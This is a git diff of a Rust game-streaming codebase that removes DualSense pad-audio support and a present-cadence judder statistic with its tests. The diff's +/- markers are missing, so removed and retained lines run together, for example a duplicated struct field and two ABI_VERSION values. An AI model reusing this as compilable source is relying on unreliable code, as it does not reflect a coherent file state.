// B7: caps declared after the burst drained — re-announce this pad's arrival.
// Only for a pad that HAS an arrival (so it is a live, declared controller),
// and only when the value actually moved, so a steady session sends nothing.
if arrival[idx].is_some()
&& arrival_owed[idx] == 0
&& caps_now(idx) != arrival_caps_sent[idx]
{
arrival_owed[idx] = ARRIVAL_RESENDS;
}
// Re-send an owed kind declaration (independent of whether the pad has state
// yet — it may be idle-but-connected). Idempotent on the host.
if arrival_owed[idx] > 0 {
if let Some(kind) = arrival[idx] {
arrival_owed[idx] -= 1;
arrival_caps_sent[idx] = caps_now(idx);
let arr = crate::input::InputEvent {
kind: InputKind::GamepadArrival,
_pad: [0; 3],
code: kind as u32,
x: 0,
y: 0,
flags: arrival_flags(idx),
flags: idx as u32,
};
let _ = conn.send_datagram(arr.encode().to_vec().into());
} else {
+2 -10
View File
@@ -5,8 +5,8 @@ use crate::clipboard::{ClipCommand, ClipEventCore};
use crate::config::{CompositorPref, GamepadPref, Mode};
use crate::error::Result;
use crate::input::InputEvent;
use crate::quic::{HdrMeta, HidOutput, PadAudioFrame};
use std::sync::atomic::{AtomicBool, AtomicI64, AtomicU32, AtomicU64, AtomicU8};
use crate::quic::{HdrMeta, HidOutput};
use std::sync::atomic::{AtomicBool, AtomicI64, AtomicU32, AtomicU64};
use std::sync::mpsc::SyncSender;
use std::sync::{Arc, Mutex};
@@ -43,14 +43,6 @@ pub(crate) struct WorkerArgs {
/// closed, so the command API always observes connection teardown.
pub(crate) rumble_feed: super::rumble::RumbleFeed,
pub(crate) hidout_tx: SyncSender<HidOutput>,
/// Inbound pad-audio frames (`0xD1` — DualSense voice-coil haptics + speaker), drained by
/// [`NativeClient::next_pad_audio`].
pub(crate) pad_audio_tx: SyncSender<PadAudioFrame>,
/// Per-pad pad-audio render capabilities (bit0 haptics, bit1 speaker), written by
/// [`NativeClient::set_pad_audio_caps`] and OR'd into outgoing
/// [`GamepadArrival`](crate::input::InputKind::GamepadArrival) flags (bits 8/9) by the input
/// task — toward a `HOST_CAP_PAD_AUDIO` host only.
pub(crate) pad_audio_caps: Arc<[AtomicU8; crate::input::MAX_PADS]>,
pub(crate) hdr_meta_tx: SyncSender<HdrMeta>,
pub(crate) host_timing_tx: SyncSender<crate::quic::HostTiming>,
pub(crate) cursor_shape_tx: SyncSender<crate::quic::CursorShape>,
+1 -63
View File
@@ -64,11 +64,7 @@ pub enum InputKind {
GamepadRemove = 13,
/// Declares which controller KIND a pad presents so a session can MIX types (pad 0 a
/// DualSense, pad 1 an Xbox pad). `code` = the [`GamepadPref`](crate::config::GamepadPref)
/// wire byte, `flags` = pad index in the low byte plus the pad's render capabilities in bits
/// 8/9 ([`ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/[`ARRIVAL_FLAG_PAD_AUDIO_SPEAKER`] — sent only
/// toward a [`HOST_CAP_PAD_AUDIO`](crate::quic::HOST_CAP_PAD_AUDIO) host, so an older host
/// keeps reading the whole word as the index; hosts decode via [`decode_gamepad_arrival`]).
/// Sent when the client opens a pad slot — before that pad's
/// wire byte, `flags` = pad index. Sent when the client opens a pad slot — before that pad's
/// first input — and re-sent a few times against datagram loss (like [`GamepadRemove`]). The
/// host resolves the kind to a buildable backend and routes that pad's virtual device to it; a
/// pad the client never declares (an older client, or a fully-lost declaration) falls back to
@@ -101,34 +97,6 @@ pub fn decode_gamepad_remove(flags: u32) -> (u8, u8) {
(flags as u8, (flags >> 24) as u8)
}
/// [`InputKind::GamepadArrival`] `flags` bit: this pad renders pad-audio HAPTICS — it is (or
/// forwards to) a real DualSense whose voice-coil actuators can play the
/// [`PAD_AUDIO_KIND_HAPTICS`](crate::quic::PAD_AUDIO_KIND_HAPTICS) stream. Rides above the pad
/// index byte; sent only toward a [`HOST_CAP_PAD_AUDIO`](crate::quic::HOST_CAP_PAD_AUDIO) host
/// (an older host reads the whole `flags` word as the index, so unexpected high bits would make
/// it drop the declaration).
pub const ARRIVAL_FLAG_PAD_AUDIO_HAPTICS: u32 = 1 << 8;
/// [`InputKind::GamepadArrival`] `flags` bit: this pad renders pad-audio SPEAKER — the
/// [`PAD_AUDIO_KIND_SPEAKER`](crate::quic::PAD_AUDIO_KIND_SPEAKER) stream. Same wire discipline
/// as [`ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`].
pub const ARRIVAL_FLAG_PAD_AUDIO_SPEAKER: u32 = 1 << 9;
/// Pack a [`InputKind::GamepadArrival`] `flags` word: the pad index in the low byte plus
/// `audio_caps` (bit0 = haptics, bit1 = speaker) as bits 8/9. `audio_caps = 0` reproduces the
/// pre-pad-audio wire bytes exactly.
pub fn encode_gamepad_arrival(pad: u8, audio_caps: u8) -> u32 {
(pad as u32) | (((audio_caps & 0x03) as u32) << 8)
}
/// Unpack a [`InputKind::GamepadArrival`] `flags` word into `(pad, audio_caps)`. The pad index
/// is `flags & 0xFF` — hosts MUST mask rather than take the whole word, or a capability bit
/// reads as a phantom index; `audio_caps` is bits 8/9 (bit0 = haptics, bit1 = speaker — the
/// [`ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/[`ARRIVAL_FLAG_PAD_AUDIO_SPEAKER`] bits shifted down).
/// An old-format word (index only) yields `audio_caps = 0`.
pub fn decode_gamepad_arrival(flags: u32) -> (u8, u8) {
(flags as u8, ((flags >> 8) & 0x03) as u8)
}
/// The gamepad wire contract for [`InputKind::GamepadButton`]/[`InputKind::GamepadAxis`].
///
/// Everything follows the GameStream/XInput conventions end to end: buttons reuse
@@ -380,11 +348,6 @@ pub enum GamepadEvent {
kind: u8,
/// LI_CCAP_* bits (0x02 = rumble).
capabilities: u16,
/// Pad-audio render capabilities from a NATIVE-plane arrival's `flags` bits 8/9
/// (bit0 = haptics, bit1 = speaker — see [`decode_gamepad_arrival`]). NOT a GameStream
/// LI_CCAP bit (that vocabulary lives in `capabilities`); the GameStream plane cannot
/// express pad audio and always sets `0`, as does an old client.
audio_caps: u8,
},
}
@@ -480,31 +443,6 @@ mod tests {
assert_eq!((pad, seq), (9, 123));
}
#[test]
fn gamepad_arrival_flags_roundtrip() {
// The capability bits ride bits 8/9; the index stays the low byte.
for (pad, caps) in [(0u8, 0u8), (3, 0b01), (15, 0b10), (7, 0b11)] {
let flags = encode_gamepad_arrival(pad, caps);
assert_eq!(decode_gamepad_arrival(flags), (pad, caps));
assert_eq!(flags & 0xFF, pad as u32);
}
assert_eq!(
encode_gamepad_arrival(2, 0b11),
2 | ARRIVAL_FLAG_PAD_AUDIO_HAPTICS | ARRIVAL_FLAG_PAD_AUDIO_SPEAKER
);
// Old-format compat both ways: a caps-less word (an old client, or a new one toward an
// old host) is byte-identical to the plain index, and decodes with caps 0.
assert_eq!(encode_gamepad_arrival(5, 0), 5);
assert_eq!(decode_gamepad_arrival(5), (5, 0));
// Undefined high bits (a future extension) never leak into the index OR the caps.
assert_eq!(
decode_gamepad_arrival(0xFFFF_0000 | (0b01 << 8) | 9),
(9, 1)
);
// encode masks unknown caps bits, so a sloppy embedder can't corrupt the index space.
assert_eq!(encode_gamepad_arrival(1, 0xFF), 1 | (0b11 << 8));
}
#[test]
fn gamepad_snapshot_roundtrip() {
let s = GamepadSnapshot {
+1 -7
View File
@@ -132,13 +132,7 @@ pub use stats::Stats;
/// says what it says — so v15 is the floor that *guarantees* them: at or above it the surface is
/// present, below it an embedder must probe for the symbol. Purely a version statement; no code
/// changed with this bump, and no wire change, so [`WIRE_VERSION`] is unchanged.
/// v16: added the pad-audio client surface — `punktfunk_connection_next_pad_audio` (the 0xD1
/// per-gamepad DualSense haptics/speaker plane) + `punktfunk_connection_set_pad_audio_caps` and
/// the `PUNKTFUNK_CLIENT_CAP_PAD_AUDIO` / `PUNKTFUNK_HOST_CAP_PAD_AUDIO` mirrors. Additive and
/// capability-gated end to end: the wire grows a new datagram tag (0xD1) an old client never
/// receives (double-gated caps), a new 0xCD kind (0x06, dropped as unknown by old clients) and
/// arrival flag bits 8/9 sent only toward a capable host, so [`WIRE_VERSION`] is unchanged.
pub const ABI_VERSION: u32 = 16;
pub const ABI_VERSION: u32 = 15;
/// The punktfunk/1 **wire** version — what `Hello`/`Welcome` carry and hosts equality-check.
/// Deliberately its own constant: [`ABI_VERSION`] tracks the embeddable **C surface**
-336
View File
@@ -129,167 +129,6 @@ pub fn circular_latch(samples_us: &[u64], period_ns: i64) -> Option<(u64, u16)>
Some((mean_ns, (r * 1000.0) as u16))
}
/// Largest present spacing still treated as cadence. Anything wider is a stall (a stream pause,
/// an occluded window, a codec rebuild) and is counted separately: folding a 5-second gap in as
/// "one irregular interval" would be true but useless, and folding it in as several would make a
/// single hitch dominate the window.
const CADENCE_MAX_UNITS: usize = 8;
/// A backwards step larger than this is not a reordered delivery, it is a bogus timestamp, and
/// the run re-anchors onto the new instant instead of holding the old one. Android's render
/// callback is documented to carry a garbage far-future stamp on a session's first frames;
/// without this bound, holding "the later instant" latches onto that stamp and every subsequent
/// present scores as disordered for the rest of the session (observed on glass, 2026-08-05).
const CADENCE_REANCHOR_NS: i64 = 100_000_000;
/// Minimum intervals before a cadence summary means anything — same evidence bar as
/// [`circular_latch`]. At any sane frame rate a 1 s window clears this many times over; it is
/// there so a window truncated by a reanchor does not publish a judder figure off three samples.
const CADENCE_MIN_SAMPLES: u32 = 8;
/// One window's present-cadence summary (see [`PresentIntervals`]).
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct PresentCadence {
/// The most common spacing, in whole panel refreshes. This is the stream's cadence ratio:
/// 1 when stream rate matches the panel, 2 for 60-on-120, 4 for 30-on-120.
pub mode_units: u8,
/// Fraction of intervals that were NOT the mode, in ‰ (same unit as the phase coherence).
/// **This is the judder number.** 0 = a perfectly regular cadence at any ratio.
pub judder_permille: u16,
/// Intervals folded into the histogram (excludes stalls and disordered samples).
pub samples: u32,
/// Spacings wider than [`CADENCE_MAX_UNITS`] — stalls, not judder. Reported so a window that
/// looks smooth *because the stream was paused* cannot be mistaken for a good one.
pub stalls: u32,
/// Present instants that did not advance (duplicate or out-of-order callbacks). A platform
/// bookkeeping signal, not a display defect — kept out of the judder ratio deliberately.
pub disordered: u32,
}
/// Present-interval distribution in whole panel refreshes — the cadence (judder) statistic.
///
/// Every other stat we publish is a latency: a difference between two points on one frame. No
/// latency can see judder, because judder is a property of the *sequence*. A stream that shows
/// each frame one refresh early and the next one late has excellent percentiles and looks
/// broken; a stream whose every interval is exactly two refreshes has worse latency than one
/// that alternates 1 and 3, and looks perfect. Quantising the spacing between consecutive
/// on-glass instants onto the panel grid measures the thing the eye actually reacts to.
///
/// Scale-free by construction: it needs no reference clock, and the *mode* absorbs the cadence
/// ratio, so 60-on-120 and 120-on-120 are both "smooth = one tall bucket" and comparable to each
/// other. That is what makes it usable as one ruler across clients, refresh rates and stream
/// rates — including for a feature-on/feature-off A/B on the same device.
///
/// Feed it the **measured on-glass instant**, never the instant a present was *requested*:
/// requested times would measure our own intent and report a perfect cadence no matter what the
/// display did with it. Every client has the real one (Android's `OnFrameRendered` system time,
/// the desktop's `VK_KHR_present_wait` stamp, Apple's drawable `presentedTime`).
///
/// Pure state and arithmetic — no clock, no allocation. The caller owns the window: drain with
/// [`take`](Self::take) on its own 1 s tumbling boundary, per `design/stats-unification.md`.
#[derive(Debug, Clone, Default)]
pub struct PresentIntervals {
last_present_ns: i64,
/// Counts indexed by whole refreshes, `0..=CADENCE_MAX_UNITS`.
hist: [u32; CADENCE_MAX_UNITS + 1],
samples: u32,
stalls: u32,
disordered: u32,
}
impl PresentIntervals {
pub fn new() -> PresentIntervals {
PresentIntervals::default()
}
/// Forget the previous instant without discarding the window's counts. Call on any
/// discontinuity where the next present is not a continuation of this cadence (reanchor,
/// codec rebuild, surface recreate) so the gap across it is not scored as a stall.
pub fn split(&mut self) {
self.last_present_ns = 0;
}
/// Fold one on-glass instant. `period_ns` is the learned panel period
/// ([`PanelGrid::period_ns`]); a non-positive one means the grid is not known yet and the
/// sample is held as the new predecessor without being scored.
pub fn record(&mut self, present_ns: i64, period_ns: i64) {
let prev = std::mem::replace(&mut self.last_present_ns, present_ns);
if prev <= 0 || period_ns <= 0 {
return; // first sample of a run, or no grid to quantise against
}
let spacing = present_ns - prev;
if spacing <= 0 {
// A repeated or out-of-order callback. Hold the LATER instant so one reordered
// delivery cannot corrupt every following spacing — but only when the step back is
// small enough to BE a reordering. Beyond that the old instant is the bogus one
// (see [`CADENCE_REANCHOR_NS`]) and the run re-anchors onto the new sample, which
// `last_present_ns` already holds.
self.disordered += 1;
if prev - present_ns < CADENCE_REANCHOR_NS {
self.last_present_ns = prev;
}
return;
}
// Round to the nearest whole refresh: a present is "on the grid" if it is closer to this
// vblank than the next, which is exactly what the display did with it.
let units = (spacing * 2 + period_ns) / (period_ns * 2);
if units as usize > CADENCE_MAX_UNITS {
self.stalls += 1;
return;
}
self.hist[units as usize] += 1;
self.samples += 1;
}
/// The window's raw counts `(samples, stalls, disordered)`, whatever the evidence bar.
///
/// [`summary`](Self::summary) returning `None` is otherwise indistinguishable from a window
/// of perfectly smooth zeros in a log line, which makes "no cadence is being scored at all"
/// invisible — the exact failure this exists to diagnose.
pub fn pending(&self) -> (u32, u32, u32) {
(self.samples, self.stalls, self.disordered)
}
/// This window's summary, or `None` under [`CADENCE_MIN_SAMPLES`].
pub fn summary(&self) -> Option<PresentCadence> {
if self.samples < CADENCE_MIN_SAMPLES {
return None;
}
// Ties resolve to the SMALLEST spacing, spelled out rather than left to a library:
// `max_by_key` would take the last maximum and Swift's `max(by:)` the first, so a
// 50/50 window (the classic 1-and-3 sawtooth) would label its mode differently on
// Android and Apple while reporting the same judder. The clients have to agree.
let mut mode_units = 0u8;
let mut mode_count = 0u32;
for (i, &c) in self.hist.iter().enumerate() {
if c > mode_count {
mode_count = c;
mode_units = i as u8;
}
}
Some(PresentCadence {
mode_units,
judder_permille: (u64::from(self.samples - mode_count) * 1000 / u64::from(self.samples))
as u16,
samples: self.samples,
stalls: self.stalls,
disordered: self.disordered,
})
}
/// Drain the window: the summary (if it clears the evidence bar) and a reset of the counts.
/// The previous instant SURVIVES the drain — the cadence continues across a window boundary,
/// and dropping it would manufacture one unscored interval per window.
pub fn take(&mut self) -> Option<PresentCadence> {
let out = self.summary();
self.hist = [0; CADENCE_MAX_UNITS + 1];
self.samples = 0;
self.stalls = 0;
self.disordered = 0;
out
}
}
#[cfg(test)]
mod tests {
use super::*;
@@ -455,178 +294,3 @@ mod panel_grid_tests {
assert_eq!(g.period_ns(), P120, "and the real grid wins it back");
}
}
#[cfg(test)]
mod cadence_tests {
use super::*;
const P: i64 = 8_333_333; // 120 Hz in ns
/// Fold `n` presents spaced by `spacings` in rotation, starting at an arbitrary instant.
fn cadence(spacings: &[i64], n: usize) -> PresentIntervals {
let mut pi = PresentIntervals::new();
let mut t = 1_000_000_000i64;
pi.record(t, P);
for i in 0..n {
t += spacings[i % spacings.len()];
pi.record(t, P);
}
pi
}
#[test]
fn a_regular_cadence_has_no_judder() {
let s = cadence(&[P], 60).summary().unwrap();
assert_eq!((s.mode_units, s.judder_permille), (1, 0));
assert_eq!(s.samples, 60);
}
/// The property that makes this one ruler across rates: a stream at half the panel rate is
/// SMOOTH, not judder — the mode absorbs the cadence ratio.
fn ratio_is_absorbed_not_penalised(mult: i64, expect_units: u8) {
let s = cadence(&[P * mult], 40).summary().unwrap();
assert_eq!((s.mode_units, s.judder_permille), (expect_units, 0));
}
#[test]
fn sixty_on_onetwenty_reads_smooth() {
ratio_is_absorbed_not_penalised(2, 2); // 60 fps on a 120 Hz panel
ratio_is_absorbed_not_penalised(4, 4); // 30 fps on a 120 Hz panel
}
/// D3's signature: the same mean spacing as `sixty_on_onetwenty_reads_smooth`, delivered as
/// alternating 1 and 3 refreshes. Identical average frame rate, identical latency
/// percentiles — and this is the one that looks broken.
#[test]
fn the_sawtooth_that_latency_stats_cannot_see() {
let s = cadence(&[P, P * 3], 40).summary().unwrap();
assert_eq!(s.judder_permille, 500);
assert_eq!(
s.mode_units, 1,
"a tied mode resolves to the smallest spacing — pinned so the Swift port agrees"
);
}
/// Sub-refresh jitter is not judder: the display quantises it away, so the metric must too.
/// Only a spacing that crosses the half-refresh boundary changes which vblank was used.
#[test]
fn jitter_inside_a_refresh_is_not_judder() {
let s = cadence(&[P + P * 2 / 5, P - P * 2 / 5], 40)
.summary()
.unwrap();
assert_eq!((s.mode_units, s.judder_permille), (1, 0));
}
#[test]
fn a_stall_is_counted_apart_from_judder() {
let mut pi = PresentIntervals::new();
let mut t = 1_000_000_000i64;
pi.record(t, P);
for _ in 0..20 {
t += P;
pi.record(t, P);
}
t += P * 400; // a pause, not a pacing defect
pi.record(t, P);
let s = pi.summary().unwrap();
assert_eq!((s.judder_permille, s.stalls, s.samples), (0, 1, 20));
}
#[test]
fn out_of_order_callbacks_do_not_corrupt_the_run() {
let mut pi = PresentIntervals::new();
let mut t = 1_000_000_000i64;
pi.record(t, P);
for _ in 0..10 {
t += P;
pi.record(t, P);
}
pi.record(t - P * 3, P); // a late/duplicate delivery
for _ in 0..10 {
t += P;
pi.record(t, P);
}
let s = pi.summary().unwrap();
assert_eq!(s.disordered, 1);
assert_eq!(
s.judder_permille, 0,
"keeping the later instant means the following spacings stay on the grid"
);
}
/// The on-glass failure of 2026-08-05, pinned. Android's render callback can deliver a
/// garbage far-future timestamp on a session's first frames. Holding "the later instant"
/// unconditionally latched onto it and scored EVERY subsequent present as disordered —
/// `cadN=0 disorder=119` per second, for the whole session, with the period known and the
/// stream perfectly healthy. One bad sample must cost one sample, not the session.
#[test]
fn a_garbage_far_future_stamp_does_not_wedge_the_run() {
let mut pi = PresentIntervals::new();
let mut t = 1_000_000_000i64;
pi.record(t, P);
pi.record(t + 60 * 60 * 1_000_000_000, P); // a vendor's epoch-sized first stamp
for _ in 0..20 {
t += P;
pi.record(t, P);
}
let s = pi.summary().expect("the run recovers instead of wedging");
assert_eq!(s.disordered, 1, "the garbage stamp cost exactly one sample");
assert_eq!((s.mode_units, s.judder_permille), (1, 0));
assert_eq!(s.samples, 19, "every present after the re-anchor scored");
}
#[test]
fn an_unknown_grid_scores_nothing() {
let s = cadence(&[P], 60);
let mut pi = PresentIntervals::new();
let mut t = 1_000_000_000i64;
for _ in 0..60 {
t += P;
pi.record(t, 0); // PanelGrid has not learned a period yet
}
assert!(pi.summary().is_none());
assert!(s.summary().is_some(), "control");
}
#[test]
fn a_short_window_publishes_nothing() {
assert!(cadence(&[P], 5).summary().is_none());
}
/// The cadence continues across a window boundary — dropping the predecessor on drain would
/// silently discard one interval per window, every window.
#[test]
fn take_resets_the_counts_but_not_the_cadence() {
let mut pi = cadence(&[P], 20);
assert!(pi.take().is_some());
assert!(pi.summary().is_none(), "counts cleared");
let mut t = 1_000_000_000 + P * 20;
for _ in 0..10 {
t += P;
pi.record(t, P);
}
let s = pi.summary().unwrap();
assert_eq!(
s.samples, 10,
"the first post-drain present scored against the pre-drain one"
);
}
#[test]
fn split_forgets_the_predecessor() {
let mut pi = cadence(&[P], 20);
pi.take();
pi.split();
let mut t = 5_000_000_000i64; // a reanchor: the gap across it is meaningless
for _ in 0..10 {
t += P;
pi.record(t, P);
}
let s = pi.summary().unwrap();
assert_eq!(
(s.samples, s.stalls),
(9, 0),
"the gap was not scored at all"
);
}
}
-41
View File
@@ -121,15 +121,6 @@ pub const CLIENT_CAP_PHASE_LOCK: u8 = 0x02;
/// clean, the client keeps receiving the plain `0xC9` plane — so a client may always set this bit.
/// `0x04` — `0x01`/`0x02` are cursor / phase-lock.
pub const CLIENT_CAP_AUDIO_RED: u8 = 0x04;
/// [`Hello::client_caps`] bit: the client understands the pad-audio plane
/// ([`PAD_AUDIO_MAGIC`](super::datagram::PAD_AUDIO_MAGIC), `0xD1`) — per-gamepad DualSense
/// voice-coil haptics + speaker Opus frames, plus the [`HidOutput::AudioCtl`]
/// (super::datagram::HidOutput) routing/volume events. Active only when the host answers with
/// [`HOST_CAP_PAD_AUDIO`] AND the pad's arrival declared a renderer for the kind
/// ([`crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/`_SPEAKER`) — the capable-and-agreed
/// precedent, per pad; toward an older or incapable host nothing changes. `0x08` — `0x01` is [`CLIENT_CAP_CURSOR`],
/// `0x02` is [`CLIENT_CAP_PHASE_LOCK`], `0x04` is [`CLIENT_CAP_AUDIO_RED`].
pub const CLIENT_CAP_PAD_AUDIO: u8 = 0x08;
/// [`Welcome::host_caps`] bit: the host CAN forward the cursor out-of-band (it captures cursor
/// metadata separately from the frame — the Linux portal `SPA_META_Cursor` path; NOT gamescope,
@@ -163,16 +154,6 @@ pub const HOST_CAP_PEN: u8 = 0x10;
/// unconditionally and treat this bit as "expect redundancy", not "only redundancy".
/// `0x20` — `0x10` is [`HOST_CAP_PEN`], `0x08` is [`HOST_CAP_CURSOR`].
pub const HOST_CAP_AUDIO_RED: u8 = 0x20;
/// [`Welcome::host_caps`] bit: the host can capture pad audio — its virtual DualSense exposes
/// the pad's audio endpoints (voice-coil haptics + speaker), so a game's per-pad audio can be
/// captured and shipped on the [`PAD_AUDIO_MAGIC`](super::datagram::PAD_AUDIO_MAGIC) plane.
/// Set only when the client asked via [`CLIENT_CAP_PAD_AUDIO`]; when both bits agree, a
/// capable client marks its pads' render capabilities on their arrivals
/// ([`crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/`_SPEAKER`) and the host emits `0xD1`
/// toward exactly those pads. `0x40` — `0x20` is [`HOST_CAP_AUDIO_RED`], `0x10` is
/// [`HOST_CAP_PEN`], `0x08` is [`HOST_CAP_CURSOR`], `0x04` is [`HOST_CAP_TEXT_INPUT`],
/// `0x01`/`0x02` are gamepad-state / clipboard.
pub const HOST_CAP_PAD_AUDIO: u8 = 0x40;
/// [`Hello::video_codecs`] bit: the client can decode H.264 / AVC. The GPU-less **software**
/// encode path (openh264) emits H.264, so a client that wants to stream from a software host MUST
@@ -356,28 +337,6 @@ mod tests {
);
}
#[test]
fn pad_audio_cap_bits_are_distinct() {
// The new pad-audio bits pack into the existing caps bytes without colliding with any
// taken bit (a collision would silently negotiate an unrelated feature).
assert_eq!(
CLIENT_CAP_PAD_AUDIO & (CLIENT_CAP_CURSOR | CLIENT_CAP_PHASE_LOCK),
0
);
assert_eq!(
HOST_CAP_PAD_AUDIO
& (HOST_CAP_GAMEPAD_STATE
| HOST_CAP_CLIPBOARD
| HOST_CAP_TEXT_INPUT
| HOST_CAP_CURSOR
| HOST_CAP_PEN),
0
);
// Single-bit values (a multi-bit cap would OR neighbours in).
assert_eq!(CLIENT_CAP_PAD_AUDIO.count_ones(), 1);
assert_eq!(HOST_CAP_PAD_AUDIO.count_ones(), 1);
}
#[test]
fn resolve_codec_canonicalizes_a_multi_bit_preference() {
// A non-conformant peer may stuff its capability MASK into `preferred` — the result
+3 -197
View File
@@ -1,15 +1,12 @@
//! The QUIC-datagram side planes, demultiplexed by their first byte (0xC90xD1):
//! audio, rumble, mic uplink, rich input, HID output, HDR metadata, host timing,
//! cursor state, pad audio.
//! The QUIC-datagram side planes, demultiplexed by their first byte (0xC90xCF):
//! audio, rumble, mic uplink, rich input, HID output, HDR metadata, host timing.
/// Datagram wire tags. Video rides UDP; everything low-rate rides QUIC datagrams,
/// demultiplexed by the first byte: input = [`crate::input::INPUT_MAGIC`] (0xC8, client→host),
/// audio = [`AUDIO_MAGIC`] (0xC9, host→client), rumble = [`RUMBLE_MAGIC`] (0xCA, host→client),
/// mic = [`MIC_MAGIC`] (0xCB, client→host), rich-input = [`RICH_INPUT_MAGIC`] (0xCC, client→host),
/// HID-output = [`HIDOUT_MAGIC`] (0xCD, host→client), HDR metadata = [`HDR_META_MAGIC`]
/// (0xCE, host→client), host timing = [`HOST_TIMING_MAGIC`] (0xCF, host→client), cursor state =
/// [`CURSOR_STATE_MAGIC`] (0xD0, host→client), pad audio = [`PAD_AUDIO_MAGIC`] (0xD1,
/// host→client).
/// (0xCE, host→client).
pub const AUDIO_MAGIC: u8 = 0xC9;
pub const RUMBLE_MAGIC: u8 = 0xCA;
/// Microphone uplink: the client's mic, Opus-encoded, client → host (the inverse of
@@ -419,7 +416,6 @@ const HIDOUT_PLAYER_LEDS: u8 = 0x02;
const HIDOUT_TRIGGER: u8 = 0x03;
const HIDOUT_TRACKPAD_HAPTIC: u8 = 0x04;
const HIDOUT_HID_RAW: u8 = 0x05;
const HIDOUT_AUDIO_CTL: u8 = 0x06;
/// [`HidOutput::HidRaw`] `kind`: an OUTPUT report — what the host's hidraw client wrote with
/// `write()`/`SDL_hid_write` (Triton rumble `0x80`, haptic pulse `0x81`, …). The client replays
@@ -468,16 +464,6 @@ pub enum HidOutput {
/// hardware safety timeout, and settings (lizard/IMU) are refreshed every ~3 s against the
/// firmware watchdog — a lost datagram heals on the next refresh.
HidRaw { pad: u8, kind: u8, data: Vec<u8> },
/// The audio-control region of a DS5 output report `0x02` a game wrote to the host's virtual
/// pad — the routing/volume side of pad audio (the audio SAMPLES ride the [`PAD_AUDIO_MAGIC`]
/// plane). `raw` is bytes 5..=10 of the report verbatim (headphone/speaker/mic volumes +
/// audio routing); `flags` condenses the report's audio valid-flags: bit0 = haptics-select
/// (`valid_flag0` bit1 — the title asked for audio haptics on the voice coils), bits1..4 =
/// `valid_flag0` bits 4..7 (the audio-valid flags gating `raw`). Wire form
/// `[0xCD][0x06][u16 pad LE][u8 flags][6 raw bytes]`. Forwarded change-only (deduped by
/// value host-side, like `Led`/`Trigger`) — a merely-rumbling pad re-sends unchanged audio
/// state on every output report.
AudioCtl { pad: u16, flags: u8, raw: [u8; 6] },
}
impl HidOutput {
@@ -510,12 +496,6 @@ impl HidOutput {
out.extend_from_slice(&[HIDOUT_HID_RAW, *pad, *kind]);
out.extend_from_slice(&data[..data.len().min(HID_REPORT_MAX)]);
}
HidOutput::AudioCtl { pad, flags, raw } => {
out.push(HIDOUT_AUDIO_CTL);
out.extend_from_slice(&pad.to_le_bytes());
out.push(*flags);
out.extend_from_slice(raw);
}
}
out
}
@@ -560,22 +540,6 @@ impl HidOutput {
// Bounded: at most HID_REPORT_MAX bytes are kept from the (attacker-sized) tail.
data: b[4..b.len().min(4 + HID_REPORT_MAX)].to_vec(),
}),
// B27: the pad is the only u16 index on this plane, and every consumer narrows it
// with `as u8` on the stated assumption that pads are 0..MAX_PADS. Nothing enforced
// that, so wire pad 256 silently ALIASED onto slot 0 — a malformed or hostile
// datagram steering a real controller's speaker volumes. Rejected here, at the one
// place the u16 exists, so the narrowings downstream are lossless by construction
// (the same fix R10 applied to the rumble plane).
HIDOUT_AUDIO_CTL
if b.len() >= 11
&& u16::from_le_bytes([b[2], b[3]]) < crate::input::MAX_PADS as u16 =>
{
Some(HidOutput::AudioCtl {
pad: u16::from_le_bytes([b[2], b[3]]),
flags: b[4],
raw: b[5..11].try_into().unwrap(),
})
}
_ => None,
}
}
@@ -834,72 +798,6 @@ pub fn decode_cursor_state_datagram(b: &[u8]) -> Option<CursorState> {
})
}
/// Pad-audio datagram tag, host → client: per-gamepad audio a game routed
/// to the host's virtual DualSense — voice-coil haptics and the built-in speaker — for the client
/// to render on the matching real controller. Next tag after [`CURSOR_STATE_MAGIC`]. The
/// per-pad AUDIO plane (Opus frames, the [`AUDIO_MAGIC`]/[`MIC_MAGIC`] shape plus pad + kind);
/// the routing/volume CONTROL side rides [`HidOutput::AudioCtl`]. Emitted only when the session
/// negotiated it ([`CLIENT_CAP_PAD_AUDIO`](super::caps::CLIENT_CAP_PAD_AUDIO) ∧
/// [`HOST_CAP_PAD_AUDIO`](super::caps::HOST_CAP_PAD_AUDIO)) and the pad's arrival declared a
/// renderer for the kind ([`crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/`_SPEAKER`).
/// Best-effort like every audio datagram: a lost frame is a concealed gap, never state.
pub const PAD_AUDIO_MAGIC: u8 = 0xD1;
/// [`PadAudioFrame::kind`]: the BACK channel pair — the DualSense voice-coil actuators (audio
/// haptics). 5 ms Opus frames, matching the [`AUDIO_MAGIC`] cadence: haptics are felt latency.
pub const PAD_AUDIO_KIND_HAPTICS: u8 = 0;
/// [`PadAudioFrame::kind`]: the FRONT channel pair — the controller's built-in speaker. 10 ms
/// Opus frames (speaker content tolerates the extra buffering for the better coding efficiency).
pub const PAD_AUDIO_KIND_SPEAKER: u8 = 1;
/// Wire length of a pad-audio datagram header: tag + pad + kind + u32 seq + u64 pts = 15 bytes.
const PAD_AUDIO_HEADER_LEN: usize = 1 + 1 + 1 + 4 + 8;
/// One decoded pad-audio frame (owned — the client's plane queue stores it). `seq`/`pts_ns` are
/// per-(pad, kind) counters from the host's capture clock, for gap concealment and lip-sync
/// against the main audio plane.
#[derive(Clone, Debug, PartialEq, Eq)]
pub struct PadAudioFrame {
/// Gamepad index (the wire pad space, same as rumble/HID-output).
pub pad: u8,
/// [`PAD_AUDIO_KIND_HAPTICS`] or [`PAD_AUDIO_KIND_SPEAKER`].
pub kind: u8,
pub seq: u32,
pub pts_ns: u64,
/// The raw Opus payload — feed it to an Opus decoder as one frame. Empty = DTX silence.
pub opus: Vec<u8>,
}
/// Pad-audio datagram, host → client:
/// `[0xD1][u8 pad][u8 kind][u32 seq LE][u64 pts_ns LE][opus payload]` — the
/// [`encode_audio_datagram`]/[`encode_mic_datagram`] layout with a pad + kind prefix, one Opus
/// frame per datagram (5/10 ms — well under any MTU); QUIC already encrypts.
pub fn encode_pad_audio_datagram(pad: u8, kind: u8, seq: u32, pts_ns: u64, opus: &[u8]) -> Vec<u8> {
let mut b = Vec::with_capacity(PAD_AUDIO_HEADER_LEN + opus.len());
b.push(PAD_AUDIO_MAGIC);
b.push(pad);
b.push(kind);
